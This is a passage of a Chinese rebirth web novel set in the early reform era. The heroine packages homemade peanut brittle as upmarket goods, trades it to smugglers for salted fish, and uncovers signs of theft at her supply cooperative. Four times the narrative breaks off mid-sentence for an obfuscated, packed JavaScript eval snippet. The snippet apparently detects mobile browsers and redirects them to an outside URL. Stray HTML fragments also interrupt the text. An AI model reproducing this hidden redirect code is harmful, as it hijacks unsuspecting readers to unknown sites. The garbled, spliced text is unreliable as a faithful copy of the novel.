田爸田宝民半靠在客厅的藤椅上磕着红瓜子。看到女儿的笑脸,惊得从藤椅上跳起来。嘴巴不忘叭叭: “哎哟,乖女。你这样热情,你老豆我看得心慌慌。” 重生后第一次看到老豆的惊喜,因为这话瞬间冷却了下来。田甜没好气地瞪了她老豆一眼:“老豆啊!女儿看到你高兴你心慌什么?” 田爸嘿嘿笑着把手里抓着的瓜子直接塞田甜手里。 “哎,这不是你个女仔,每次跟我笑嘻嘻都是提要求。你老豆我没本事,可不得心慌啊!” 田甜又想翻白眼了。但想想上辈子支持自己一切决定的老豆,又觉得没什么好生气的。她老豆就这样,一辈子吃不了苦。从小就不爱干活,生产队时期就整天头疼腰疼不肯下地。到了适婚年龄,更是宣称不结婚免得拖累人。 这样的神奇人物,十里八乡都是有名的。 后来被她阿公、阿婆强压着结了婚。又喊着不生孩子,说自己没本事,生孩子出来也是拖累孩子。 直到她出生后,偶然得知有结扎这事,悄咪咪一个人跑去了城里做了结扎手术。 当初,这个事情可是轰动一时。 以上,都是她老豆田宝明同志的事迹。 而这个事情被人说了整整十多年,直到前两年计划/生育成为国策,她老豆居然摇身一变。成为十里八乡的一孩标兵。还跟着宣传队到处宣传生一个孩子的好处。 昨天她老豆没回家,就是跟着跑去隔壁县宣传独生子女的好处了。手里的红瓜子,估计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342601|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是从宣传队那拿的。 —— 见女儿的表情变来变去,田爸赶紧岔开话题:“刚好像听到田芯说你什么着急的。是出什么事情了吗?” 看着她老豆关心的样子,田甜眼珠子一转,假装为难:“最近手头有点紧……” 一听是没钱,田爸表情僵了僵。 随即肉疼地从兜里摸出一把零碎的钞票。满脸纠结地看了好几眼,然后把脑袋扭到后面,而手直接伸到田甜跟前,嘴巴不忘嘟囔:“乖女啊!你老豆没用,就这点了。要是还不够用,老豆去问别人借!” 看着她老豆那肉疼的样子,田甜终于忍不住哈哈大笑起来。 而田爸也反应过来了,连忙把手缩了回去。 “你个衰女包【调皮的女孩】,玩你老豆呢!”说着,又嘿嘿傻乐地拍了拍已经放回兜里的钱:“私房钱保住了。明天去镇上买烧鹅。” 镇上有家烧鹅店是老字号,听说是从咸丰年传到现在的,反正挺好吃的。就连市里都有人跑来吃。就是价格特别贵。 “好你个田宝民,还敢藏私房钱啊!” 田妈不知道什么时候从厨房跑了出来,手里还抓着锅铲呢!跑到田爸身边,用空着的手就直接开始掏兜。 田爸苦着脸让老婆掏,边不忘喊:“冤枉喽。这钱是宣传队发给我的补贴啊,我可没私藏。就是忘了上交。” 田妈把钱直接揣自己荷包,不忘哼了一声:“下次记性好点知道不!” 田爸龇牙咧嘴地朝田甜挤眼,做了口型:乖女啊,烧鹅没了…… 田甜看着她爸妈耍花木仓【小打小闹】,心情很好。上辈子自己被高空坠物砸没了。爸妈一定会很伤心,但他们有彼此可以依靠,想来应该可以跨过去。 笑闹过后,晚饭好了,一家人开始上桌吃饭。 田甜这才开始说正事。 —— “什么?100斤白糖的批条?乖女,你这是要上天哟!” 田爸这话一出,田妈直接给他脑袋来了一筷子:“乱讲话,乖女这是要做大茶饭【大买卖】啊!” “妈,还是你醒目!这100斤白糖批条……” 田甜把批条的由来说了,也把田芯可能使绊子的事情说了。 “批条这东西,糖厂那些领导肯定开了很多。仓库的货就那些,谁能兑换到,就看各家神通。兑换不了,那就是空头支票。” “乖女,是这个理。但你那同事真能给换130斤赤砂糖?” 田甜点头:“肯定,白糖可比赤砂糖要精贵多了。老豆,你明天跟我一起出门。到时候赤砂糖换到你先带回来……” “乖女,那我呢?我要做什么啊!”田妈立刻问自己的任务。 田甜:“妈,你明天拿钱去村里,帮我收80斤花生、30斤芝麻。” 听到这里,田爸、田妈异口同声:“这是要做花生糖啊!” 田甜点头:“没错,做花生糖。” “这个可以有,正好快过年了,这花生糖指定能卖出去。而且做起来又简单。等做好后,妈帮你拿去市场卖……” 田甜笑笑道:“等做好了我还有安排呢!” 简单地花生糖拿去集市卖,虽然有赚头。但田甜有更好的销售方案。 5. 第 5 章 第二天一早,田甜带着她老豆去换了赤砂糖。回程路上去了一个小作坊,没一会儿出来手里就多了几张漂亮的包装纸。 田爸好奇,接过来随意一翻,然后眼睛差点没跳出眼眶来。 “啧啧!乖女啊!这包装……会不会有点夸张啊!” 不是他没见识,而是他觉得他家乖女的想头好像有点大了。 什么田记饼家?什么传承百年?什么独家配方?什么精选原材料制作? 他怎么不知道自家做的花生糖,还能有这样夸张的描述?不就是普普通通的花生糖吗?田爸一直觉得自己不是个老实人?但他家乖女好像比自己更加不老实? 现在,盯着手里这精美的包装纸,田爸觉得人有点恍惚了。 田甜看她爸的样子,顾忌着是在大马路上,忍着笑道:“老豆,哪里夸张啊!我问你,我们家是不是准备做花生糖?我们家是不是姓何?” 田爸点头。 “所以,我们家做的花生糖,包装印个田记饼家不过份吧!” “不过份不过份!” “至于百年传承、独家配方、精选原料就更简单了。我们家做花生糖的手艺是从阿婆那学的。阿婆的手艺是从她阿婆那学的。算下来这都六代人了,怎么没有百年历史。 而且我们家的花生糖就是比其他人家的好吃,配方就是有点不同。所以,独家配方也没骗人呢。再说原材料,全都是原产地采购,保证原汁原味。” 说到最后,田甜有点绷不住笑出声来。实在是她老豆的表情有点搞笑。 改开还没几年,这时候的人做生意比较实诚,产品是什么样的,就干巴巴地写什么。完全没有后世那种夸张千百倍的宣传。 田甜也就稍稍美化了一下她家的花生糖,并没有搞劣质产品。而且,她家的花生糖真的很好吃的。不然也不会在想赚钱的时候,第一个就想到做花生糖了。 虽然,花生糖现在还没影。 田爸觉得乖女说的好有道理哦。他除了点头还是点头。脑子活络的他,在注意到包装上的字体都是繁体字跟鸡肠【英文】时,一个大胆的想法冒了出来。 “乖女啊!你这糖……你这糖不会准备卖给那些回乡的人吧!” 田甜耸耸肩:“看情况喽。今晚回去先做一些,争取明天能出点样品。我准备拿去水货街那看看。” 水货街是县里一条专门卖水货的街道。那里很多小贩明面上卖些国货。背地里售卖各种水货。至于水货的来源,那就五花八门呢! 但总的来说,整个县谁想买进口货,谁想买高档货,都会往这条街来。 田爸听得咋舌:“乖女啊!你妈说你要做大茶饭还真是大茶饭啊!不过,水货街挺乱的。要老豆去不?” 他虽然想帮手,但也知道女儿是个有主意的。 田甜摇头:“牛仔在水货街那混得还行,我找他牵个线就好了。明天爸你跟妈要忙做糖呢!争取把花生糖在这两天做好。” 牛仔是她由小玩到大的朋友,前两年就在水货街帮人卖货。 田爸听完也不多说,转而好奇道:“乖女,你这包装花了多少钱啊!” 设计得太漂亮了,还有繁体字跟鸡肠,看起来就不便宜。 田甜:“我自己设计的啦!” 自从决定做花生糖,她就已经把方方面面都想好了。从原材料到销售的每一个环节,都做好了各种安排。包装这块当然也是自己搞。 不过这时候的包装贵,而且很难找到门路。要不是他们这有些私人小作坊,田甜估计都要放弃这个高价销售计划。手里的包装纸是样品,她刚刚过去确定了。接下来就是生产大货,预计明天能拿到所有的包装纸。 —— 接下来两天田爸、田妈都在家里忙着做花生糖。而田甜则是白天上班,晚上回家打包装。 期间一切都挺顺利的,除了田芯时不时上门来打听他们家到底在做什么。 这不,这天晚上,田甜一家都在给花生糖做最后的打包。结果门口又响起田芯的声音。 田妈想跟昨天一样出去把人说走。不过这次田甜阻止了。 这都挡了快两天,也差不多到时候了。 于是,门外在那喊着话的田芯,还以为今天会吃闭门羹。结果就看到门开了,田甜走了出来。 她赶紧上去就问:“姐,你家这两天怎么整天关门不让我进去?” 语气相当理直气壮。田甜看她的样子好像憔悴了一些。当然,不排除大晚上灯光昏暗的缘故。 “我妈接了个活,不方便让人进来。” 田芯想到二叔家从昨天开始出现的甜味,心里就忍不住一阵阵地咯噔。 天知道!当第一次闻到甜味时,她就觉得不好了。跑去给何晓明打电话问批条。结果对方说那张批条没有兑付。田芯就放下心来了。 所以今天一早就跑去县里玩了一天。回来前再次跟何晓明确定过批条没有兑付。路上还很得意。觉得田甜读再多的书也没用。还不是被她耍得团团转。 结果刚到路口又闻到同样的甜味,田芯就知道肯定哪里出错了。 “什么活?姐,你别骗我了。你是不是把那张批条给兑呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342602|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>田甜听着这气急败坏的声音,觉得特别好笑。 她也不知道田芯对自己的敌意是从哪里来的。反正上辈子直到死前,得知大伯娘吞了自己一万块的赔款,而且田芯也掺和到里面时,田甜这才知道这个堂妹对自己的敌意到底有多深。 重生以来,田甜看得就更加清楚。 “田芯,你生气什么?这跟你有关系吗?” 怎么没关系?批条是靠我拿到的!那就是我的东西。 当然,以上这句话是田芯在心里的咆哮。面上她十分忍得住,已经按捺下愤怒,努力维持着笑脸:“姐,你这话说得太见外了。批条是用我的关系弄来的。我这不是怕变成空头支票吗?” 田甜见她还要装,也乐得她憋着。 “哦,没事。这样啊,那你不用担心了。我把批条给人。” “什么?你怎么能给人?” 田甜装做满脸诧异:“不行吗?这批条不是我的封口费吗?” “什么封口费?” 不知道什么时候,身后三三两两站着几个邻居。其中就有大伯跟大伯母。都是听到她们的声音出来看热闹的。 田芯一看来了这么多人,她爸那老古板也在里头。立刻变得十分文静:“没事,刚我跟我姐在说一个电视剧呢!” 说着,也不管其他人怎么想,撒腿就往家跑。 田甜一看就知道田芯这气会憋很久呢! 嗯,挺爽的。 回到家,田甜把外面的事情一说,田爸就拍桌:“大哥回来正好。我要让他好好教教他家那衰女。” “老豆,算了。现在这样刚好。我就喜欢看田芯装样子,有气憋着不敢发。” 田爸一听好有道理哦。然后又问:“明天真把所有货都送去水货街啊!那边真谈好呢?” 不是田爸啰嗦,实在是这次的花生糖全家都花了很多心思。 “嗯,已经说好了。而且对方还给了三成的定金。” “那好,明天我跟你一起行一趟。” 第二天一早,父女两就带着货出发了。这次一共做了305斤的花生糖。而包装则是1斤一包,一共有305包。家里留了5包,剩下的300包全部卖掉。 因为是打包卖的,价格卖到4.5一包。这次能收到1350元。扣除成本跟给爸妈的辛苦费,这次田甜能赚到1000块。 想想就激动。 有了这1000块,自己下深市卖菜地的计划又能前进一步了。 但是,当第二天带着货来到水货街时,帮忙牵线的牛仔却带来一个不怎么好的消息。 6. 第 6 章 早些年水货街就是一条普通的居民街道。改开的风声一来,居民们就把房子改成了商铺。有的自己搞些小买卖,有的则是租出去收租金。这样一来,整条街的人/流量越来越多。由此又催生出不少卖货的小摊。 今天是腊月十五了,离春节就半个月,所以这里比以往更加热闹,多了不少下面乡镇来摆摊的小贩。 “乖女,这里还真热闹!”田爸担着箩筐站在街口,见里面人那么多,忍不住感叹。 田甜看着挤得满满当当的街道觉得头大。好在这时候牛仔从街边窜了过来。 “刚还说怎么找你呢!没想到这才7点,水货街就这样热闹。” 田甜话还没说完,就从牛仔那张黑脸上看出了尴尬的表情。她心下一沉,知道这笔买卖可能出问题了。不然就牛仔这大喇喇的性子,根本不会露出这样的表情来。 “说吧,出什么事呢?” 牛仔一听这话,瞬间放松了下。随即哇啦哇啦道:“田甜啊!这次真系黑仔【倒霉】啊!收货的肥强被边防抓了!” 说起这个牛仔就来气。 今天一早因为田甜要来送货,所以他早早就起来,生怕耽误了老友的生意。哪成想跑去找肥强最后确定交货的细节。结果还没到肥强的狗窦,路上就听说他半夜去海边接货,被边防给抓了。 你说这是不是黑仔! 田甜听完牛仔的讲述后,也忍不住叹气。还真是有点黑啊! 本来这趟生意最大的变数是肥强挞定【不要定金毁约】。哪里知道他这样黑仔,直接就被逮了。 一般来说,肥强这种做惯水货生意的,上下头都有打点。昨晚忽然被抓,显然是出什么变故。 不过,这些不是田甜该关注的了。 唯一庆幸的是提前收了3成定金400块,足够覆盖掉这批花生糖的成本。 所以,当听到牛仔在那表示一定会帮忙再找卖家时,田甜直接道:“你不要做工啦!没事,反正没亏。我跟我爸在街面走走,说不定就卖出去了。” 牛仔也知道临时临急去找卖家很难。而且他做工的时间也到了。只能说道:“行,但是也别乱走。到我们店门口那摆摊卖,有我看着指定没人搞事。” “那肯定。”田甜也没跟牛仔客气。虽然去年年底就开始严打了,但水货街人太杂了。而且临近年关,捞偏门的都想发财。不小心荷包肯定不保。 很快三人来到牛仔做工的电器店。里面主要卖些小家电。老板是牛仔的一个哎呀亲戚【远房亲戚】。看到他们过来,还很热情地招呼他们在店门口空地摆摊。 田甜顺势塞了两盒花生糖表示感谢。回头跟她老豆说:“爸,你先在这里坐一下看货,我去前面的早餐摊吃早餐。” 两人都想着来县城吃点好的,所以都空着肚子就来了。货没卖出去,肚子也不能空。 早餐摊很热闹,田甜挤进去先要了一碗猪杂河粉吃起来。边吃边注意周围的店铺小摊。看看有没有能吃下所有货的买主。 供销社那还有重要的事情要搞,不能请假专门卖花生糖。至于让她爸妈去卖就只能按照普通价格来。这样并不划算。 不过直到换她老豆去吃早餐,还是没能物色到合适的买主。 —— 索性她也没烦,看她老豆回来,起身进电器店看了起来。 这时候的电器店已经有电饭煲、电风扇、电熨斗、电吹风、电热水器、电视、电冰箱、洗衣机等等好卖了。而且这里的电器不少都是外国牌子,不用说大多水货无疑。 田甜他们隔壁镇靠海,听说那边不少人会半夜跑去海边背货赚钱。嗯,这货当然是指走私货。这种人肉背货挺赚钱的,而且风险比转跑走私的人要低不少。 眼前这些货想必就是这样来的。 她没有多去想这些,而是去看那些电器的价格。虽然每看一个都会嘶一次就是了。无他,这时候的电器太贵了。几百上千那是基操。田甜想等赚到钱了,给家里买个洗衣机。 不过眼下一千多的洗衣机,她表示要不起。 正在这时,在看店的牛仔朝她使了个眼色。随即田甜就听到后门那有人走动的声音。她诧异地看向牛仔,对方轻轻点头。 田甜心想还真是奇了怪了。这大白天的居然来送货? 是的,她确定后门那是来送货的。一般来说,这种水货都是三更半夜走货的。这大白天来送货还真是奇了怪了。 想到肥强被抓,不知道是不是那些走私的出了什么事情? 上辈子的田甜这时候还闷在供销社求进步呢。根本没有关注过这走私的事情。她心里总觉得这个事情很重要。 又过了大概一个半小时,后门安静了下来。 田甜这时候走出电器店,正好看到有十几个皮肤黝黑的男人,从后门绕道街面。一个个身上还扛着个麻袋。 这些人从她跟前经过时,居然带着一股咸鱼味。 咸鱼? 田甜脑子一动,一个念头闪过脑海。于是,她赶紧叫住了这一队男人。 —— “阿叔,阿叔。你们是卖咸鱼的吗?” 男人们停了下来,打头的那个不耐烦道:“小妹仔,你要买咸鱼去店里买。我们这咸鱼要卖批发店。” 田甜一听就知道有戏了。这队人来送水货还不忘带咸鱼,想来是想多赚一笔的。既然想赚钱,那就好办了。 他们的动静被在门口看着箩筐的田爸看在眼底。他担心女儿,赶紧起身就问:“妹啊【相当于北方的妞妞】,咩事?” 田甜朝她老豆挥了挥手:“老豆,没事。”说着又看向男人:“你们带这些咸鱼过来也不容易。我是真心想要这些咸鱼。要不我们去电器店借个地方谈谈?我跟那电器店的老板有些亲戚关系。” 她一个年轻女孩说要买人家那么多咸鱼,听着不太靠谱。但拉上电器店老板就不一样了。 毕竟,这队人可以确定是给电器店老板送货的。 果然,一听田甜是电器店老板的亲戚,他们态度立刻好了起来。 —— “田甜,你真要买那么多咸鱼啊!” 电器店的会客室里,牛仔看着堆在地上的咸鱼,十分惊讶田甜的决定。 现在咸鱼干市场价1.5一斤左右,地上这些加起来有上千斤了。田甜买那么多咸鱼,一时半刻也卖不完啊!而且过完年就是回南天,到时候咸鱼很容易发霉长虫的。 田爸其实跟牛仔的想法差不多。但他没说出来,只是看着那些咸鱼。心里想着要怎么卖。 “买,不过我不用钱买。” 牛仔听到这话满头问号。这不用钱买,总不能抢吧!他们店虽然卖水货,但可都是良好市民。 对面几个做代表的中年男人也有听到田甜话的,立刻就有人表情难看地质问:“不用钱买,你想做什么?” 要不是顾忌电器店老板,这几个人可能都要打人了。 田甜却不慌不忙地说道:“几位阿叔,你们别冲动。你们还不知道生意是什么呢?先听听又不要钱。大不了你们听完不满意就走人。” 听到可以走人,几个人又放松了下来。 “这可是你说的,别到时候逼我们便宜卖。” 田甜笑笑:“自然不会。” 说着,她从自家箩筐拿出一盒包装精致的花生糖。 东西一出,立刻就让那几个中年男人愣住了。 “你这东西港城来的?” 几个人都是背水货的,自然认得不少港城的东西。眼前这东西的包装,可不就是港城货的风格吗? 田甜笑笑,也没骗人,直接说:“本地货,不过老板有亲戚在港城。” 这话说得很含糊,但没骗人。她家就有不少港城亲戚。 而几个中年人已经脑补出合理的解释。 他们这边由于地域原因,家家户户基本都有港城亲戚。有些人的港城亲戚会寄钱寄东西回来。有些人的港城亲戚会过来这边投资搞些小生意。 眼前这些人就脑补出第二个可能。 田甜没有多说,直接拆了一包花生糖送到几个中年男人跟前,热情招呼他们尝尝。 这下几个人有点不好意思了。实在是这糖的包装很精美,看起来就挺贵的。不好白吃人家贵东西。 田爸这时候已经看明白女儿的打算,立刻过去热情招呼:“兄弟,别客气。这自家东西,没什么不好意思的。我们这是在谈生意呢,成不成交个朋友也没事。” 田甜跟着道:“是啊,几位阿叔。我们这要谈的生意跟我这糖关系很大。你们不尝尝味道,这生意就不好谈了。” 牛仔自然跟着附和起来。 一时之间,场面变得很热闹。 田爸已经跟几个中年男人交换姓名了,甚至都约着以后去海边玩,可以去拜访他们家。 关系拉得差不多了,生意就好谈了。 “田兄弟,还有这个小妹仔,我大概知道你们的意思。是想用这花生糖,换我们的咸鱼对吧!” 田甜见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342603|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方那么直接,也没绕弯子:“对,阿叔。你果然是个很厉害的老板!” “哎哎哎,不是什么大老板。我们就是干苦力的。” 田甜一开始看他们是帮店里背水货的,还真以为对方是纯苦力了。但刚刚交流下来,就知道这些人都挺有想法的。特别是领头的这个,听着话里话外,估计是准备干海货生意。 所以,她这一单生意还真有可能谈成。 “小妹仔,你这糖是好吃。但我们要那么多没用。我们这咸鱼卖给批发店,直接就能拿现钱。” 看吧,没有直接拒绝,那就代表绝对有戏。现在说这些,不过是想拉扯价格。 “阿叔,话是这样说。但批发店收咸鱼一斤就七八毛,零售贵一半,但你们也没办法天天在县里摆摊卖。我看你这些咸鱼加起来有一千斤出头。最多就能卖八百左右。” 见对方点头,田甜继续:“而我这些花生糖,实话跟你说,之前有个老板要打包,四块五一盒。光是我这里的,就值一千三百多。” 一听田甜这些花生糖那么值钱,几个人脸色都十分精彩。 不过很快领头的那个反应过来:“那么高档的花生糖,我们换了舍不得吃,卖也没地方卖啊!” 田甜一听更加把劲:“那话就不是这样说的了。阿叔,你们想想,这糖包装这样精美。无论是送亲戚还是走关系,是不是特别有面子。” 这时候送东西,本地货没有外地货有面子。外地货没有进口货有面子。 而田甜这些穿着外地货壳子的花生糖,是性价比很不错的礼物。 本地人谁过年不称几斤花生糖啊! 田甜没有停顿,继续劝说:“你想想,咸鱼干是海里捞起来的。没什么成本,最多废功夫。我这花生糖可是实打实的糖、花生、芝麻做的。味道怎样你们是尝过的。” “而且,咸鱼干最多能卖八百块,我这花生糖能卖一千三百多,这中间可有五百的差价呢!要不是我们家忙,没时间零卖。我都舍不得这样亏本换咸鱼。” 说到最后,田甜做出一副十分舍不得样子。 田爸适时跟上:“乖女,这差价有点多。要不你老豆辛苦点,每天在店门口卖。卖到过年也能卖不少呢。” 说着又跟几个中年人道:“兄弟啊,这钱有点多啊。我小气,舍不得……” 本来还想压价的中年人,听到田爸这话,立刻拍板:“田兄弟,这生意谈得好好的。你家千金可说了,舍不得你这当爸的辛苦。你还真是好命啊,有个这么好的女儿。” 这边有人拉着田爸,那边就有人跟田甜拍板表示同意交换。甚至还把随身带着的十斤墨鱼干拿出来,表示这是搭头。 田甜当然不会拒绝。笑眯眯地让牛仔去拿纸笔过来,写了个简单的交易协议,双方签字盖了手指印。 等把人送走,看着满地的咸鱼,田爸这才头大地问:“乖女啊。这咸鱼要怎么搞?我总觉得我们好蚀本。” “账面上的价格看起来是我们亏了,但实际上没亏。” 因为花生糖的成本不算人力,只花了100左右的成本。 至于怎么处理这些咸鱼,她已经有了想法。刚在店铺外面闻到咸鱼味时,她才想起上辈子差不多这时候,有一个走错路到了他们村的外地客商。 对方内地来的,想要收购不少海货。又赶着年关好大赚一笔,给的价格相当美丽。 当然,这个事情还没发生,她也不好老豆说太多。只说道:“先找车把咸鱼拉回家里先。” 田爸一听就同意。没有再多问。反正女儿说的肯定有道理。 而牛仔则是很担心,总怕田甜这么多咸鱼砸手上。 田甜看出了他的担心,只道:“真不用担心,我都有计划的。实在卖不出去,还能让我们供销社那边收。” 就是价格不美丽就是了。 说到供销社,田甜表情严肃了起来:“牛仔,刚我们聊的时候,你也听到对方说漏嘴,提了句供销社对吧?” 刚刚他们在谈生意拉家常,领头的中年男人见田甜知道他们的底,也没太顾忌。不小心说了他们跟供销社那边有牵扯。 牛仔一听,四处看了看,压低声音:“我是听到有些风声,但不确定。” 田甜想想上辈子供销社一直没出什么问题。但又想到重生回来上班这几天看过的那些票据。 之前就想着怎么整整供销社的某些人。现在看来,不用自己再费时间布局了。 这现成的线索不就来了吗? 7. 第 7 章 “哎,田甜。今天不是请假吗?怎么过来供销社?是要买东西吗?” 县城供销社,田甜一进门,钱姐就朝她打招呼。 “钱姐,吃了吗?没买东西。刚好经过这,想到有件衣服漏在办公室,就回来拿了。” 说着,田甜很自然地跟钱姐摆摆手,朝后面的办公室走去。 大中午的,柜台就钱姐一个人在值班。办公室这边的人都去吃饭了,十分安静。 田甜没有浪费时间,直接走到自己的办公桌前坐下,拿出钥匙打开抽屉,把压了几天的账册打开。 重生前这时候的自己,不过是个刚出校园一年多的愣头青。很多账册上的弯弯绕绕看不懂。上级安排的工作是张贴保管票据凭证,她也就按部就班照做了。 但是重生后的自己多了工作十年的经验。虽然后来从事的工作跟财务关系不大。但是却能看懂不少账目。 眼前的账册就是她这两天处理的。一接手她就发现了有蹊跷。只是有一些本质问题一直没能明白。 但是今天渔民说漏嘴后,田甜立刻意识到这中间的关联。果然回来一看,田甜百分百确定他们供销社有老鼠,而且还是肥老鼠。 就在这时,门外响起了钱姐的大嗓门。之后就是脚步声。 田甜赶紧把账册塞回抽屉上锁。然后把留在办公室的一件外套拿了起来。刚转身就听到门口有人说话:“小田,这个点怎么在办公室?吃饭了没?今天你不是请假了吗?” 田甜看向来人:“许科长,吃了吗?刚好路过,回来拿件衣服。”说着,田甜朝对方举了举手里的衣服,起身准备离开。 许科长见状,微微点头:“哦,那早点回去吧!财务室是重要场所,出入记得关紧门窗。” “知道了!” 看着对方离开的身影,田甜收回脸上的尬笑,锁门走了出来。 钱姐看到她,热情招呼:“回去啦,小田。刚听到你声音,是跟阿芬在说话吗?” 田甜摇头,心里却立刻想起上辈子的一些风言风语。于是试探问道:“徐丽芬没去食堂吃饭吗?” 钱姐:“没呢!”说着,她左右看了看,压低声音道:“我跟你说,你今天没上班不知道。一大早刘姐去仓库领货的时候又刁难阿芬。结果你猜后来怎样?” 田甜:“刘姐肯定被训了对吧!” 钱姐一听嘿嘿笑:“要不说你是个聪明的。刘姐这次刁难阿芬的时候,正好被采购科的许科长、仓库刘主管碰到了。你是不知道当时刘姐被骂得差点爆血管。嘿嘿,看她以后还敢这样张狂!” 同为干了多年的老售货员,钱姐可是跟刘姐很不对付的。两人从年轻时进入供销社后就是竞争对手。争个人荣誉,争职称,争加工资。结婚后开始比老公、比孩子。但因为刘姐命好,嫁了个有出息的男人。所以在这些竞争中,钱姐经常落败。 而刘姐仗着男人,经常在工作中明里暗里欺负人。 所以前几天她被田甜怼,没人出口帮她。今天被领导骂,那就更不会有人帮她了。 “我看她啊,说不定很快连售货员都没得做。最好直接调她去扫厕所。” 田甜微笑着没有附和。这调去扫厕所不太可能。毕竟刘姐的男人虽然不是什么大领导,但听说是税务局的一个小头头。 税务局是个实权部门,一般没事领导也不会去得罪。 不过知道刘姐被骂她也很高兴就是了。而且这事情也更加证明了徐丽芬已经开始报复刘姐了。 狗咬狗的戏码,会持续上演。 这样的结果田甜表示很满意。 正在这时,门外想起了三轮车的刹车声。 田甜看着在车斗那朝自己挥手的老豆,立刻跟钱姐道别。三两下跳上车斗走了。 “乖女,一切顺利吧?” 虽然不知道女儿为什么要先回来供销社一趟,但田爸猜到一定是有什么重要的事情。不然不会让自己一个人安排装这些咸鱼。 车上说话不方便,司机师傅还在前头开车呢。田甜只摇摇头:“没事。等回去再说。” 车子一路顺利很快就进了村。 这个点村里人已经出来干活了。一路上看到他们父女两坐在三轮车的车斗。车斗里又塞满了麻袋,一个个都好奇地打招呼,问起买什么好东西。 田爸乐呵呵地摆手,表示回去后再说。 于是,三轮车从村口开始,跟着的人越来越多。等到家时,半条村的人都跑到自家门口看热闹了。 田甜见状有点哭笑不得。 而她爸已经乐呵呵地跟大家揭开谜底:“没什么好东西,都是咸鱼……” “骗人吧!这三轮车车斗都塞满了。都是咸鱼的话,那不得上千斤啊!” 有人不信田爸,觉得他这是买了什么好东西,藏着掖着呢! 田爸也不生气:“哦,不信没事。你们过来亲自卸货不就知道吗?不然我说到天边去也没用。” 这几个人还真就亲自动手去卸货了。 田甜本来想开怼的话就这样吞了回去。心想这时候的人还真是实诚。居然就这样上手去卸货了。而她老豆反倒是空着手站在那,跟人吹起县里的热闹。 那几个人卸完货,沾了一身的咸鱼味,不得不确定这些货全部都是咸鱼。 当下一个个脸都很臭。 田爸乐呵呵:“就说你们别整天这不信那不信的。我有什么好骗你们的。这些咸鱼是用我家那些花生糖换的。看看,多值啊!” 这话一出,围观的村民们惊呼。 “宝民,你脑子被水牛踢啦!” “民仔,你脑子进水了吧!” 田爸一听不乐意了。 而同样不乐意的人还有隔壁的田大伯娘。 —— 自从田甜家做花生糖,田大伯娘就在家一直等啊等。等了几天,不见田甜家上门给他们送花生糖。 没错,他们这边是有这么一个礼节。 谁家做好吃的,比如做肉、做粽子、做糖、做丸子。总之只要是做好吃的,或者买到什么好的吃食,都会给兄弟姐妹家送上一份。特别是当老大的,会得到更多更大的一份。 所以,即使因为介绍对象的事情,跟老二一家有了些不顺,但田大伯娘一直很自信老二一家会给自家送花生糖。 村里的老姐妹们也一个个上门来,明里暗里打听老二家送了多少花生糖到她家。 田大嫂听说老二家做了三百斤的花生糖,一算就说肯定要给他们大房送个二三十斤的。 结果田大伯娘等啊等,一直等到老二家院子堆满了咸鱼,也没见到她的花生糖。 于是,田大伯娘怒了。 但她惯会做好人,一直在村里的形象就是那种善解人意的好大姐。所以,她没有破口大骂。而是盯着那一院子的咸鱼,跟身边过来看热闹的老姐妹们诉苦。 “老二真不是个东西。一点都不尊重他大哥。做那么多花生糖,一颗都舍不得送。枉他大哥这么多年当老黄牛,辛辛苦苦赚钱养了他田老二一家。” 边说田大嫂边露出悲苦的样子。 而她的老姐妹们有的觉得田大伯娘苦。有的觉得田大伯娘惨。有的觉得这话听着怪。但是不妨碍她们一个个义愤填膺。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342604|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无他,她们其实也等着花生糖呢。 田甜家做的花生糖,不零卖给村里人。她们又想占便宜,就想从田大伯娘这里买。 是的,她们也都认为田甜家应该送田大伯家花生糖。不说多的,十斤八斤要有。到时候她们再从田大伯娘这便宜买。 双赢,大家都占到便宜了。 结果,今天她们的花生糖没了。 “不行,陈霞。你跟你家田宝国就是太老实了。才会被田宝民这样的烂仔欺负。” “就是,你看他宁愿把花生糖换成咸鱼,也不愿意给点你们当大哥大嫂的。这样的人不配当我们田家人。” “就是。陈霞。这个事情不能就这样算了。一定要找族里的长辈做主。最好让田宝民把这些年从你家占的便宜赔出来。” 